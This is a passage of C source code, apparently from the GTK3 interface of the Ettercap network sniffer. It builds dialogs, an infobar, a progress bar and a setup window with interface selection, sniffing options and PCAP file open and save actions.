icon, FALSE, FALSE, 0); break; case GTK_MESSAGE_WARNING: gtk_window_set_title(GTK_WINDOW(dialog), "Warning"); icon = gtk_image_new_from_icon_name("dialog-warning", GTK_ICON_SIZE_DIALOG); gtk_box_pack_start(GTK_BOX(box), icon, FALSE, FALSE, 0); break; case GTK_MESSAGE_QUESTION: gtk_window_set_title(GTK_WINDOW(dialog), "Question"); icon = gtk_image_new_from_icon_name("dialog-question", GTK_ICON_SIZE_DIALOG); gtk_box_pack_start(GTK_BOX(box), icon, FALSE, FALSE, 0); break; case GTK_MESSAGE_ERROR: gtk_window_set_title(GTK_WINDOW(dialog), "Error"); icon = gtk_image_new_from_icon_name("dialog-error", GTK_ICON_SIZE_DIALOG); gtk_box_pack_start(GTK_BOX(box), icon, FALSE, FALSE, 0); break; default: // GTK_MESSAGE_OTHER break; } /* message text */ label = gtk_label_new(msg); gtk_box_pack_start(GTK_BOX(box), label, FALSE, FALSE, 0); gtk_widget_show_all(box); return dialog; } /* * some minor notifications don't need a dedicated dialog * instead an the infobar widget is being used */ GtkWidget* gtkui_infobar_new(GtkWidget *infoframe) { infobar = gtk_info_bar_new(); gtk_widget_set_no_show_all(infobar, TRUE); infolabel = gtk_label_new(""); gtk_widget_show(infolabel); gtk_container_add(GTK_CONTAINER( gtk_info_bar_get_content_area(GTK_INFO_BAR(infobar))), infolabel); gtk_info_bar_add_button(GTK_INFO_BAR(infobar), "_OK", GTK_RESPONSE_OK); if (infoframe == NULL) infoframe = gtk_frame_new(NULL); gtk_widget_set_no_show_all(infoframe, TRUE); gtk_frame_set_shadow_type(GTK_FRAME(infoframe), GTK_SHADOW_NONE); gtk_container_add(GTK_CONTAINER(infoframe), infobar); g_signal_connect(G_OBJECT(infobar), "response", G_CALLBACK(gtkui_infobar_hide), NULL); return infoframe; } /* * show infobar */ void gtkui_infobar_show(GtkMessageType type, const gchar *msg) { if (!infobar && !infoframe) return; if (infobar == NULL) infoframe = gtkui_infobar_new(infoframe); gtk_label_set_text(GTK_LABEL(infolabel), msg); gtk_info_bar_set_message_type(GTK_INFO_BAR(infobar), type); gtk_info_bar_set_default_response(GTK_INFO_BAR(infobar), GTK_RESPONSE_OK); gtk_widget_show(infobar); gtk_widget_show(infoframe); infotimer = g_timeout_add_seconds(3, gtkui_infobar_expired, infobar); } /* * callback when info bar timer expired */ gboolean gtkui_infobar_expired(gpointer data) { gtkui_infobar_hide(GTK_WIDGET(data), 0, NULL); /* stop timer */ return FALSE; } /* * callback wrapper to hide infobar necessary due to still (Feb 2018) * unfixed animation bug: https://bugzilla.gnome.org/show_bug.cgi?id=710888 * implementing suggested workaround to remove and reattach widget */ void gtkui_infobar_hide(GtkWidget *widget, gint response, gpointer data) { (void) response; (void) data; (void) widget; if (!infobar || !infoframe) return; if (infotimer) g_source_remove(infotimer); gtk_widget_hide(infobar); gtk_widget_hide(infoframe); gtk_widget_destroy(infobar); infobar = NULL; } /* * print an error */ static void gtkui_error(const char *msg) { gchar *unicode = NULL; DEBUG_MSG("gtkui_error: %s", msg); if((unicode = gtkui_utf8_validate((char *)msg)) == NULL) return; gtkui_infobar_show(GTK_MESSAGE_ERROR, msg); return; } /* * handle a fatal error and exit */ static void gtkui_fatal_error(const char *msg) { /* if the gui is working at this point display the message in a dialog */ if(window) gtkui_error(msg); /* also dump it to console in case ettercap was started in an xterm */ fprintf(stderr, "FATAL ERROR: %s\n\n\n", msg); clean_exit(-1); } /* * get an input from the user */ void gtkui_input(const char *title, char *input, size_t n, void (*callback)(void)) { GtkWidget *dialog, *entry, *label, *hbox, *vbox, *image, *content_area; dialog = gtk_dialog_new_with_buttons(PROGRAM" Input", GTK_WINDOW (window), GTK_DIALOG_MODAL|GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 6); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); image = gtk_image_new_from_icon_name("dialog-question", GTK_ICON_SIZE_DIALOG); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 0); label = gtk_label_new (title); gtk_label_set_line_wrap (GTK_LABEL (label), TRUE); gtk_label_set_selectable (GTK_LABEL (label), TRUE); gtk_box_pack_start (GTK_BOX (hbox), label, TRUE, TRUE, 0); entry = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(entry), n); g_object_set_data(G_OBJECT (entry), "dialog", dialog); g_signal_connect(G_OBJECT (entry), "activate", G_CALLBACK (gtkui_dialog_enter), NULL); if (input) gtk_entry_set_text(GTK_ENTRY (entry), input); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_box_pack_start(GTK_BOX(vbox), entry, TRUE, FALSE, 0); gtk_box_pack_start(GTK_BOX (hbox), vbox, FALSE, FALSE, 5); gtk_widget_show_all (hbox); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { strncpy(input, gtk_entry_get_text(GTK_ENTRY (entry)), n); if (callback != NULL) { gtk_widget_destroy(dialog); callback(); return; } } gtk_widget_destroy(dialog); } /* * show or update the progress bar */ static void gtkui_progress(char *title, int value, int max) { static GtkWidget *hbox, *header, *content; /* the first time, create the object */ if (progress_bar == NULL) { header = gtk_header_bar_new(); gtk_header_bar_set_title(GTK_HEADER_BAR(header), "Progress"); gtk_header_bar_set_decoration_layout(GTK_HEADER_BAR(header), ":close"); gtk_header_bar_set_show_close_button(GTK_HEADER_BAR(header), TRUE); progress_dialog = gtk_dialog_new(); gtk_window_set_title(GTK_WINDOW (progress_dialog), PROGRAM); gtk_window_set_titlebar(GTK_WINDOW(progress_dialog), header); gtk_window_set_modal(GTK_WINDOW (progress_dialog), TRUE); gtk_window_set_transient_for(GTK_WINDOW(progress_dialog), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(progress_dialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_container_set_border_width(GTK_CONTAINER (progress_dialog), 10); g_signal_connect(G_OBJECT(progress_dialog), "delete_event", G_CALLBACK(gtkui_progress_cancel), NULL); hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 3); content = gtk_dialog_get_content_area(GTK_DIALOG(progress_dialog)); gtk_container_add(GTK_CONTAINER(content), hbox); progress_bar = gtk_progress_bar_new(); gtk_progress_bar_set_show_text(GTK_PROGRESS_BAR(progress_bar), TRUE); gtk_box_pack_start(GTK_BOX(hbox), progress_bar, TRUE, TRUE, 20); } /* the subsequent calls have to only update the object */ gtk_progress_bar_set_text(GTK_PROGRESS_BAR(progress_bar), title); gtk_progress_bar_set_fraction(GTK_PROGRESS_BAR(progress_bar), (gdouble)((gdouble)value / (gdouble)max)); /* update dialog window */ gtk_widget_show_all(progress_dialog); /* * when 100%, destroy it */ if (value == max) { if (progress_dialog) gtk_widget_destroy(progress_dialog); progress_dialog = NULL; progress_bar = NULL; } } static gboolean gtkui_progress_cancel(GtkWidget *window, gpointer data) { /* variable not used */ (void) window; progress_canceled = TRUE; /* the progress dialog must be manually destroyed if the cancel button is used */ if (data != NULL && GTK_IS_WIDGET(data)) { gtk_widget_destroy(data); progress_dialog = NULL; progress_bar = NULL; } return(FALSE); } /* * print a message */ void gtkui_message(const char *msg) { DEBUG_MSG("gtkui_message: %s", msg); gtkui_infobar_show(GTK_MESSAGE_INFO, msg); } /* * Create the main interface and enter the second loop */ void gtkui_start(void) { guint idle_flush; gint online; DEBUG_MSG("gtkui_start"); idle_flush = g_timeout_add(500, gtkui_flush_msg, NULL); /* which interface do we have to display ? */ online = (EC_GBL_OPTIONS->read ? 0 : 1); /* create second instance of the UI application */ etterapp = gtkui_setup(gtkui_create_menu, GINT_TO_POINTER(online)); /* the main gui loop, once this exits the gui will be destroyed */ g_application_run(G_APPLICATION(etterapp), 0, NULL); g_object_unref(G_OBJECT(etterapp)); g_source_remove(idle_flush); } static void toggle_unoffensive(GSimpleAction *action, GVariant *value, gpointer data) { (void) data; g_simple_action_set_state(action, value); EC_GBL_OPTIONS->unoffensive ^= 1; } static void toggle_nopromisc(GSimpleAction *action, GVariant *value, gpointer data) { (void) data; g_simple_action_set_state(action, value); EC_GBL_PCAP->promisc ^= 1; } /* * display the initial menu to setup global options * at startup. */ GtkApplication* gtkui_setup(void * activate_func, gpointer data) { GtkApplication *app; DEBUG_MSG("gtkui_setup"); app = gtk_application_new("org.gtk.Ettercap", 0); g_signal_connect(app, "activate", G_CALLBACK(activate_func), data); return app; } /* * activate callback for GtkApplication for building the widgets * for the setup dialog */ static void gtkui_build_widgets(GApplication* app, gpointer data) { GtkWidget *header, *menubutton, *logo, *switcher; GtkWidget *layout, *label, *combo1, *combo2, *setting_frame, *grid, *box; GtkBuilder *builder; GtkListStore *iface_list; GtkTreeIter iter; GtkCellRenderer *cell1, *cell2; gint width, height, left, top; gchar *title = NULL; char *path = NULL, *markup = NULL; guint i; pcap_if_t *dev; (void) data; /* accelerators */ static gtkui_accel_map_t accels[] = { {"app.pcap_filter", {"p", NULL}}, {"app.set_netmask", {"n", NULL}}, {"app.open", {"o", NULL}}, {"app.save", {"s", NULL}}, #ifndef OS_WINDOWS {"app.help", {"F1", NULL}}, #endif {"app.quit", {"q", "x", NULL}} }; /* actions */ static GActionEntry action_entries[] = { {"set_promisc", NULL, NULL, ENABLED, toggle_nopromisc, {}}, {"set_unoffensive", NULL, NULL, DISABLED, toggle_unoffensive, {}}, {"open", gtkui_file_open, NULL, NULL, NULL, {}}, {"save", gtkui_file_write, NULL, NULL, NULL, {}}, {"about", gtkui_about, NULL, NULL, NULL, {}}, {"shortcuts", gtkui_show_shortcuts, "s", NULL, NULL, {}}, #ifndef OS_WINDOWS {"help", gtkui_help, NULL, NULL, NULL, {}}, #endif {"quit", gtkui_exit, NULL, NULL, NULL, {}}, {"pcap_filter", gtkui_pcap_filter, NULL, NULL, NULL, {}}, {"set_netmask", gtkui_set_netmask, NULL, NULL, NULL, {}} }; DEBUG_MSG("gtkui_build_widgets (activate method)"); /* honor CLI options */ if(!EC_GBL_PCAP->promisc) /* setting the menu item active will toggle this setting */ /* it will be TRUE after the menu is updated */ action_entries[0].state = DISABLED; if(EC_GBL_OPTIONS->unoffensive) action_entries[1].state = ENABLED; /* add actions to the application */ g_action_map_add_action_entries(G_ACTION_MAP(app), action_entries, G_N_ELEMENTS(action_entries), app); /* map accelerators to actions */ for (i = 0; i < G_N_ELEMENTS(accels); i++) { gtk_application_set_accels_for_action(GTK_APPLICATION(app), accels[i].action, accels[i].accel); } /* menu structures */ builder = gtk_builder_new(); gtk_builder_add_from_string(builder, "" " " "
" " " " _Open PCAP" " app.open" " document-open" " " " " " _Save PCAP" " app.save" " document-save" " " "
" "
" #ifndef OS_WINDOWS " " " Help" " app.help" " help-browser" " " #endif " " " Shortcuts" " app.shortcuts" " setup-shortcuts" " " " " " _About Ettercap" " app.about" " help-about" " " "
" "
" " " " _Quit" " app.quit" " application-exit" " " "
" "
" " " "
" " Options" " " " Unoffensive" " app.set_unoffensive" " " " " " Promisc mode" " app.set_promisc" " " " " " Set Netmask" " app.set_netmask" " " "
" "
" "
", -1, NULL); /* set app menu */ gtk_application_set_app_menu(GTK_APPLICATION(app), G_MENU_MODEL(gtk_builder_get_object(builder, "app-menu"))); if (g_getenv("APP_MENU_FALLBACK")) g_object_set(gtk_settings_get_default(), "gtk-shell-shows-app-menu", FALSE, NULL); /* position main window */ width = gtkui_conf_get("window_width"); height = gtkui_conf_get("window_height"); left = gtkui_conf_get("window_left"); top = gtkui_conf_get("window_top"); /* setup window needs minimal size */ width = width < 800 ? 800 : width; height = height < 400 ? 400 : height; /* Adjust title formatting */ title = g_strdup(PROGRAM); *title = g_ascii_toupper(*title); /* create main window */ window = gtk_application_window_new(GTK_APPLICATION(app)); gtk_application_window_set_show_menubar(GTK_APPLICATION_WINDOW(window), TRUE); gtk_window_set_title(GTK_WINDOW(window), title); gtk_window_set_default_size(GTK_WINDOW(window), width, height); /* set window icon */ path = ICON_DIR "/" ICON_FILE; if (g_file_test(path, G_FILE_TEST_EXISTS)) { gtk_window_set_icon(GTK_WINDOW(window), gdk_pixbuf_new_from_file(path, NULL)); } else { /* if neither path is valid gtk will use a broken image icon */ gtk_window_set_icon(GTK_WINDOW(window), gdk_pixbuf_new_from_file("./share/" ICON_FILE, NULL)); } if(left > 0 || top > 0) gtk_window_move(GTK_WINDOW(window), left, top); g_signal_connect(G_OBJECT (window), "delete_event", G_CALLBACK(gtkui_exit), NULL); /* create header bar and menu buttons */ header = gtk_header_bar_new(); gtk_header_bar_set_title(GTK_HEADER_BAR(header), title); gtk_header_bar_set_subtitle(GTK_HEADER_BAR(header), EC_VERSION); gtk_header_bar_set_show_close_button(GTK_HEADER_BAR(header), TRUE); gtk_window_set_titlebar(GTK_WINDOW(window), header); menubutton = gtk_menu_button_new(); gtk_widget_set_tooltip_text(menubutton, "Options"); gtk_menu_button_set_menu_model(GTK_MENU_BUTTON(menubutton), G_MENU_MODEL(gtk_builder_get_object(builder, "options-menu"))); gtk_button_set_image(GTK_BUTTON(menubutton), gtk_image_new_from_icon_name("open-menu-symbolic", GTK_ICON_SIZE_MENU)); gtk_header_bar_pack_end(GTK_HEADER_BAR(header), menubutton); /* main content area */ box = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_container_add(GTK_CONTAINER(window), box); /* prepare infobar for later notifications */ infoframe = gtkui_infobar_new(NULL); gtk_box_pack_start(GTK_BOX(box), infoframe, FALSE, FALSE, 0); /* the ettercap logo */ path = INSTALL_DATADIR "/" PROGRAM "/" LOGO_FILE; if(g_file_test(path, G_FILE_TEST_EXISTS)) logo = gtk_image_new_from_file(path); else /* if neither path is valid gtk will use a broken image icon */ logo = gtk_image_new_from_file("./share/" LOGO_FILE); /* create overlay to display the logo and overlay the settings widgets */ layout = gtk_layout_new(NULL, NULL); gtk_box_pack_start(GTK_BOX(box), layout, TRUE, TRUE, 0); gtk_layout_put(GTK_LAYOUT(layout), logo, 0, 0); setting_frame = gtk_frame_new(NULL); gtk_frame_set_label(GTK_FRAME(setting_frame), "Setup"); gtk_frame_set_label_align(GTK_FRAME(setting_frame), 0.5, 0.0); gtk_frame_set_shadow_type(GTK_FRAME(setting_frame), GTK_SHADOW_ETCHED_OUT); grid = gtk_grid_new(); gtk_grid_set_row_spacing(GTK_GRID(grid), 10); gtk_grid_set_column_spacing(GTK_GRID(grid), 10); g_object_set(grid, "margin", 10, NULL); gtk_container_add(GTK_CONTAINER(setting_frame), grid); label = gtk_label_new(NULL); markup = g_markup_printf_escaped( "%s", "Primary Interface"); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, 0, 1, 1, 1); g_free(markup); /* make a list of network interfaces */ iface_list = gtk_list_store_new(2, G_TYPE_STRING, G_TYPE_STRING); for (dev = (pcap_if_t *)EC_GBL_PCAP->ifs; dev != NULL; dev = dev->next) { gtk_list_store_append(iface_list, &iter); gtk_list_store_set(iface_list, &iter, 0, dev->name, 1, dev->description, -1); } /* make a drop down box for the primary interface and attach the list */ combo1 = gtk_combo_box_new(); gtk_combo_box_set_model(GTK_COMBO_BOX(combo1), GTK_TREE_MODEL(iface_list)); cell1 = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(combo1), cell1, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(combo1), cell1, "text", 1, NULL); g_signal_connect(G_OBJECT(combo1), "changed", G_CALLBACK(gtkui_set_iface_unified), NULL); gtk_combo_box_set_active(GTK_COMBO_BOX(combo1), 0); gtk_grid_attach(GTK_GRID(grid), combo1, 1, 1, 1, 1); label = gtk_label_new(NULL); markup = g_markup_printf_escaped( "%s", "Sniffing at startup"); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, 0, 0, 1, 1); g_free(markup); switcher = gtk_switch_new(); box = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0); gtk_box_set_homogeneous(GTK_BOX(box), FALSE); gtk_box_pack_start(GTK_BOX(box), switcher, FALSE, FALSE, 0); gtk_grid_attach(GTK_GRID(grid), box, 1, 0, 1, 1); if (EC_GBL_CONF->sniffing_at_startup) gtk_switch_set_active(GTK_SWITCH(switcher), TRUE); g_signal_connect(G_OBJECT(switcher), "state-set", G_CALLBACK(gtkui_autostart_switch), NULL); label = gtk_label_new(NULL); markup = g_markup_printf_escaped( "%s", "Bridged sniffing"); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, 0, 2, 1, 1); g_free(markup); switcher = gtk_switch_new(); box = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0); gtk_box_set_homogeneous(GTK_BOX(box), FALSE); gtk_box_pack_start(GTK_BOX(box), switcher, FALSE, FALSE, 0); gtk_grid_attach(GTK_GRID(grid), box, 1, 2, 1, 1); label = gtk_label_new(NULL); markup = g_markup_printf_escaped( "%s", "Bridged Interface"); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_widget_set_halign(label, GTK_ALIGN_START); gtk_grid_attach(GTK_GRID(grid), label, 0, 3, 1, 1); /* make a drop down box for the bridge interface and assign the list to it */ combo2 = gtk_combo_box_new(); gtk_combo_box_set_model(GTK_COMBO_BOX(combo2), GTK_TREE_MODEL(iface_list)); cell2 = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(combo2), cell2, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(combo2), cell2, "text", 1, NULL); g_signal_connect(G_OBJECT(combo2), "changed", G_CALLBACK(gtkui_set_iface_bridge), NULL); gtk_combo_box_set_active(GTK_COMBO_BOX(combo2), 1); gtk_grid_attach(GTK_GRID(grid), combo2, 1, 3 , 1, 1); gtk_widget_set_sensitive(combo2, FALSE); /* enable / disable bridged interface combo box */ g_signal_connect(G_OBJECT(switcher), "state-set", G_CALLBACK(gtkui_bridged_switch), combo2); gtk_layout_put(GTK_LAYOUT(layout), setting_frame, 450, 10); menubutton = gtk_button_new(); gtk_widget_set_tooltip_text(menubutton, "Accept"); gtk_button_set_image(GTK_BUTTON(menubutton), gtk_image_new_from_icon_name("emblem-ok-symbolic", GTK_ICON_SIZE_BUTTON)); gtk_header_bar_pack_end(GTK_HEADER_BAR(header), menubutton); g_signal_connect(G_OBJECT(menubutton), "clicked", G_CALLBACK(gtkui_sniff), switcher); gtk_widget_show_all(GTK_WIDGET(window)); g_object_unref(iface_list); g_object_unref(builder); g_free(title); DEBUG_MSG("gtk_setup: end"); } /* * display the file open dialog */ static void gtkui_file_open(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *chooser, *content; gchar *filename; int response = 0; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_file_open"); dialog = gtk_dialog_new_with_buttons("Select a PCAP file for offline sniffing ...", GTK_WINDOW (window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER(dialog), 10); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); chooser = gtk_file_chooser_widget_new(GTK_FILE_CHOOSER_ACTION_OPEN); gtk_container_add(GTK_CONTAINER(content), chooser); gtk_widget_show(chooser); /* This way the file chooser dialog doesn't start in the recent section */ gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(chooser), ""); response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(chooser)); /* destroy needs to come before read_pcapfile so gtk_main_quit can reside inside read_pcapfile, which is why destroy is here twice and not after the if() block */ gtk_widget_destroy (dialog); read_pcapfile (filename); g_free(filename); } else { gtk_widget_destroy (dialog); } } static void read_pcapfile(gchar *file) { char pcap_errbuf[PCAP_ERRBUF_SIZE]; DEBUG_MSG("read_pcapfile %s", file); SAFE_CALLOC(EC_GBL_OPTIONS->pcapfile_in, strlen(file)+1, sizeof(char)); snprintf(EC_GBL_OPTIONS->pcapfile_in, strlen(file)+1, "%s", file); /* check if the file is good */ if (is_pcap_file(EC_GBL_OPTIONS->pcapfile_in, pcap_errbuf) != E_SUCCESS) { ui_error("%s", pcap_errbuf); SAFE_FREE(EC_GBL_OPTIONS->pcapfile_in); return; } /* set the options for reading from file */ EC_GBL_OPTIONS->silent = 1; EC_GBL_OPTIONS->unoffensive = 1; EC_GBL_OPTIONS->write = 0; EC_GBL_OPTIONS->read = 1; gtk_main_quit(); } /* * display the write file menu */ static void gtkui_file_write(GSimpleAction *action, GVariant *value, gpointer data) { #define FILE_LEN 40 GtkWidget *dialog, *content, *chooser; gchar *filename; int response = 0; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_file_write"); dialog = gtk_dialog_new_with_buttons("Save traffic in a PCAP file ...", GTK_WINDOW (window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER(dialog), 10); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); chooser = gtk_file_chooser_widget_new(GTK_FILE_CHOOSER_ACTION_SAVE); gtk_container_add(GTK_CONTAINER(content), chooser); gtk_widget_show(chooser); /* This way the file chooser dialog doesn't start in the recent section */ gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(chooser), ""); response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(chooser)); /* destroy needs to come before read_pcapfile so gtk_main_quit can reside inside read_pcapfile, which is why destroy is here twice and not after the if() block */ gtk_widget_destroy (dialog); EC_GBL_OPTIONS->pcapfile_out = filename; write_pcapfile(); } else { gtk_widget_destroy (dialog); } } static void write_pcapfile(void) { FILE *f; DEBUG_MSG("write_pcapfile"); /* check if the file is writeable */ f = fopen(EC_GBL_OPTIONS->pcapfile_out, "w"); if (f == NULL) { ui_error("Cannot write %s", EC_GBL_OPTIONS->pcapfile_out); g_free(EC_GBL_OPTIONS->pcapfile_out); return; } /* if ok, delete it */ fclose(f); unlink(EC_GBL_OPTIONS->pcapfile_out); /* set the options for writing to a file */ EC_GBL_OPTIONS->write = 1; EC_GBL_OPTIONS->read = 0; } /* * set unified interface when changed in UI */ static void gtkui_set_iface_unified(GtkComboBox *combo, gpointer data) { GtkTreeIter iter; gchar *iface; (void) data; gtk_combo_box_get_active_iter(combo, &iter); gtk_tree_model_get(gtk_combo_box_get_model(combo), &iter, 0, &iface, -1); DEBUG_MSG("gtkui_set_iface_unified: set iface '%s'", iface); SAFE_FREE(EC_GBL_OPTIONS->iface); SAFE_CALLOC(EC_GBL_OPTIONS->iface, IFACE_LEN, sizeof(char)); strncpy(EC_GBL_OPTIONS->iface, iface, IFACE_LEN); } /* * set bridged interface when changed */ static void gtkui_set_iface_bridge(GtkComboBox *combo, gpointer data) { GtkTreeIter iter; gchar *iface; (void) data; gtk_combo_box_get_active_iter(combo, &iter); gtk_tree_model_get(gtk_combo_box_get_model(combo), &iter, 0, &iface, -1); DEBUG_MSG("gtkui_set_iface_bridge: set iface '%s'", iface); SAFE_FREE(EC_GBL_OPTIONS->iface_bridge); SAFE_CALLOC(EC_GBL_OPTIONS->iface_bridge, IFACE_LEN, sizeof(char)); strncpy(EC_GBL_OPTIONS->iface_bridge, iface, IFACE_LEN); } /* * bridged sniffing switcher callback */ static gboolean gtkui_bridged_switch(GtkSwitch *switcher, gboolean state, gpointer data) { (void) data; //gtk_switch_set_active(switcher, state); gtk_switch_set_state(switcher, state); gtk_widget_set_sensitive(GTK_WIDGET(data), gtk_switch_get_active(switcher)); return TRUE; } /* * sniffing at startup switcher callback */ static gboolean gtkui_autostart_switch(GtkSwitch *switcher, gboolean state, gpointer data) { (void) data; //gtk_switch_set_active(switcher, state); gtk_switch_set_state(switcher, state); EC_GBL_CONF->sniffing_at_startup = gtk_switch_get_active(switcher); return TRUE; } /* * check if unified or bridged sniffing, * then quit this application intance to continue * main functions further initializing ettercap */ static void gtkui_sniff(GtkButton *button, gpointer data) { (void) button; /* set bridge sniffing if switcher has been set to "on" */ if (gtk_switch_get_active(GTK_SWITCH(data))) set_bridge_sniff(); /* quit first instance of GtkApplication */ g_application_quit(G_APPLICATION(etterapp)); } /* * display the pcap filter dialog */ static void gtkui_pcap_filter(GSimpleAction *action, GVariant *value, gpointer data) { (void) action; (void) value; (void) data; #define PCAP_FILTER_LEN 50 DEBUG_MSG("gtk_pcap_filter"); if (EC_GBL_PCAP->filter == NULL) SAFE_CALLOC(EC_GBL_PCAP->filter, PCAP_FILTER_LEN, sizeof(char)); /* * no callback, the filter is set but we have to return to * the interface for other user input */ gtkui_input("Pcap filter :", EC_GBL_PCAP->filter, PCAP_FILTER_LEN, NULL); } /* * set a different netmask than the system one */ static void gtkui_set_netmask(GSimpleAction *action, GVariant *value, gpointer data) { struct ip_addr net; (void) action; (void) value; (void) data; DEBUG_MSG("gtkui_set_netmask"); if (EC_GBL_OPTIONS->netmask == NULL) SAFE_CALLOC(EC_GBL_OPTIONS->netmask, IP_ASCII_ADDR_LEN, sizeof(char)); /* * no callback, the filter is set but we have to return to * the interface for other user input */ gtkui_input("Netmask :", EC_GBL_OPTIONS->netmask, IP_ASCII_ADDR_LEN, NULL); /* sanity check */ if (strcmp(EC_GBL_OPTIONS->netmask, "") && ip_addr_pton(EC_GBL_OPTIONS->netmask, &net) != E_SUCCESS) ui_error("Invalid netmask %s", EC_GBL_OPTIONS->netmask); /* if no netmask was specified, free it */ if (!strcmp(EC_GBL_OPTIONS->netmask, "")) SAFE_FREE(EC_GBL_OPTIONS->netmask); } /* * Callback for g_timeout_add() to resolve a IP to name asyncronously * if the name is not already in the cache, host_iptoa * immediately returns but starts the resolution process * in the background. * This function periodically recalls this host_iptoa until * a result in available in the cache and updates the widget. */ gboolean gtkui_iptoa_deferred(gpointer data) { struct resolv_object *ro; char name[MAX_HOSTNAME_LEN]; ro = (struct resolv_object *)data; DEBUG_MSG("gtkui_iptoa_deferred"); if (host_iptoa(ro->ip, name) == E_SUCCESS) { /* * Name has now been resolved in the background * Set the widget text and destroy the timer */ if (ro->type == GTK_TYPE_LABEL) gtk_label_set_text(GTK_LABEL(ro->widget), name); else if (ro->type == GTK_TYPE_LIST_STORE) gtk_list_store_set(GTK_LIST_STORE(ro->liststore), &ro->treeiter, ro->column, name, -1); /* Free allocated memory */ SAFE_FREE(ro); /* destroy timer */ return FALSE; } else { /* Keep trying */ return TRUE; } } /* hitting "Enter" keyy in a combo box does the same as clicking OK button */ gboolean gtkui_combo_enter(GtkWidget *widget, GdkEventKey *event, gpointer data) { GtkWidget *dialog; /* variable not used */ (void) data; if (event->keyval == GDK_KEY_Return) { dialog = g_object_get_data(G_OBJECT(widget), "dialog"); gtk_dialog_response(GTK_DIALOG (dialog), GTK_RESPONSE_OK); return TRUE; } return FALSE; } /* hitting "Enter" key in dialog does same as clicking OK button */ void gtkui_dialog_enter(GtkWidget *widget, gpointer data) { GtkWidget *dialog; /* variable not used */ (void) data; dialog = g_object_get_data(G_OBJECT(widget), "dialog"); gtk_dialog_response(GTK_DIALOG (dialog), GTK_RESPONSE_OK); } /* create a new notebook (tab) page */ /* returns a parent widget to pack the contents of the page into */ GtkWidget *gtkui_page_new(char *title, void (*callback)(void), void (*detacher)(GtkWidget *)) { GtkWidget *parent, *label; GtkWidget *hbox, *button, *image; /* a container to hold the close button and tab label */ hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 0); gtk_widget_show(hbox); /* the label for the tab title */ label = gtk_label_new(title); gtk_box_pack_start(GTK_BOX(hbox), label, TRUE, TRUE, 0); gtk_widget_show(label); /* the close button */ button = gtk_button_new(); gtk_button_set_relief(GTK_BUTTON (button), GTK_RELIEF_NONE); gtk_box_pack_start(GTK_BOX(hbox), button, FALSE, FALSE, 0); gtk_widget_set_size_request(button, 20, 20); gtk_widget_show(button); /* an image for the button */ image = gtk_image_new_from_icon_name("window-close", GTK_ICON_SIZE_MENU); gtk_container_add(GTK_CONTAINER (button), image); gtk_widget_show(image); /* a parent to pack the contents into */ parent = gtk_frame_new(NULL); gtk_frame_set_shadow_type(GTK_FRAME(parent), GTK_SHADOW_NONE); gtk_widget_show(parent); if(!notebook && notebook_frame) { gtk_container_remove(GTK_CONTAINER (notebook_frame), gtk_bin_get_child(GTK_BIN (notebook_frame))); notebook = gtk_notebook_new(); gtk_notebook_set_tab_pos(GTK_NOTEBOOK (notebook), GTK_POS_TOP); gtk_notebook_set_scrollable(GTK_NOTEBOOK (notebook), TRUE); gtk_container_add(GTK_CONTAINER (notebook_frame), notebook); gtk_widget_show(notebook); gtkui_create_tab_menu(); } gtk_notebook_append_page(GTK_NOTEBOOK(notebook), parent, hbox); /* attach callback to destroy the tab/page */ g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK(gtkui_page_close), parent); /* attach callback to do specific clean-up */ if(callback) g_object_set_data(G_OBJECT (parent), "destroy", callback); if(detacher) g_object_set_data(G_OBJECT (parent), "detach", 